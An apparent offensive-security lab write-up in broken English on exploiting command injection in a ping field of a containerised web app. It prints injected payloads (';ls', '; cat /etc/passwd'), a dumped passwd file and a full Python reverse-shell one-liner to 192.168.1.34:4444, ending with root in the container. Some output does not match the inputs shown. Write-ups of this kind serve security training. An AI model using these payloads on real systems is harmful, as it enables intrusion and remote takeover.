

DIND (docker-in-docker) exploitation

DevSecOps Offensive Security

I start test the field ip

Enter your server address:

127.0.0.1

Submit

Response Output

```
PING 10.0.0.60 (10.0.0.60) 56(84) bytes of data. 64 bytes from 10.0.0.60: icmp_seq=1 ttl=64 time=0.058 ms 64 bytes from 10.0.0.60: icmp_seq=2 ttl=64 time=0.078 ms ---  
10.0.0.60 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.058/0.068/0.078/0.010 ms
```

After this, test pass a subcomand with ;.

Enter your server address:

127.0.0.1

Submit

Response Output

```
PING 10.0.0.60 (10.0.0.60) 56(84) bytes of data. 64 bytes from 10.0.0.60: icmp_seq=1 ttl=64 time=0.075 ms 64 bytes from 10.0.0.60: icmp_seq=2 ttl=64 time=0.063 ms ---  
10.0.0.60 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1005ms rtt min/avg/max/mdev = 0.063/0.069/0.075/0.006 ms bin boot custom dev etc  
go go.mod go.sum health-check home lib lib64 main.go media mnt opt proc root run sbin srv sys tmp usr var views
```

Is a RCE - Remote Code Execution vulnerability because I can pass other commado + the ip ping.

Look like the code have this explotation:

```
exec(f"ping {ip}")
```

and I can pass

```
ping {ip};ls -la
```

Enter your server address:

```
127.0.0.1; cat /etc/passwd
```

Submit

Response Output

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.025 ms ---  
127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1010ms rtt min/avg/max/mdev = 0.013/0.019/0.025/0.006 ms  
root:x:0:root:/bin/bash daemon:x:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:bin:/bin:/usr/sbin/nologin sys:x:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:mail:/var/mail:/usr/sbin/nologin news:x:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

The suppose is right. The backend not work the exception when I pass more one parameter.

So, let's try gain the access.

1- I tried gain the access through the classic, the shell reverse with netcat.

But, the netcat not is installed in the Container. PAW.

2- I tried think about other thinks that I can gain the access through the web application, and I thought: If the container has a python bin?

 Shell

```
127.0.0.1; which python3
```

Enter your server address:

```
127.0.0.1
```

Submit

Response Output

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=110 time=35.3 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=110 time=34.3 ms --- 8.8.8.8 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 34.290/34.816/35.343/0.526 ms /usr/bin/python3
```

 Shell

```
127.0.0.1; which python3
```

After I create a shell reverse in code for create a connection.

→ Prepare the machine that will receive the socket connection.

✉ Shell

```
nc -lvpn 4444
```

→ In the field on the page, only exec:

✉ Shell

```
127.0.0.1; python3 -c 'import  
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(  
("192.168.1.34",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);  
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  
  
shm on /dev/shm type tmpfs (rw,relatime,size=65536k,inode64)  
tmpfs on /custom/containerd/containerd.sock type tmpfs (rw,relatime,size=400576k,mode=755,inode64)  
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=102400k,inode64)  
# ^C  
tmp-shell:~# ^C  
tmp-shell:~# nc -lvpn 4444  
Listening on 0.0.0.0 4444  
Connection received on 192.168.0.46 35168  
/bin/sh: 0: can't access tty; job control turned off  
# whoami  
root  
#'
```

I got the root access inside the container.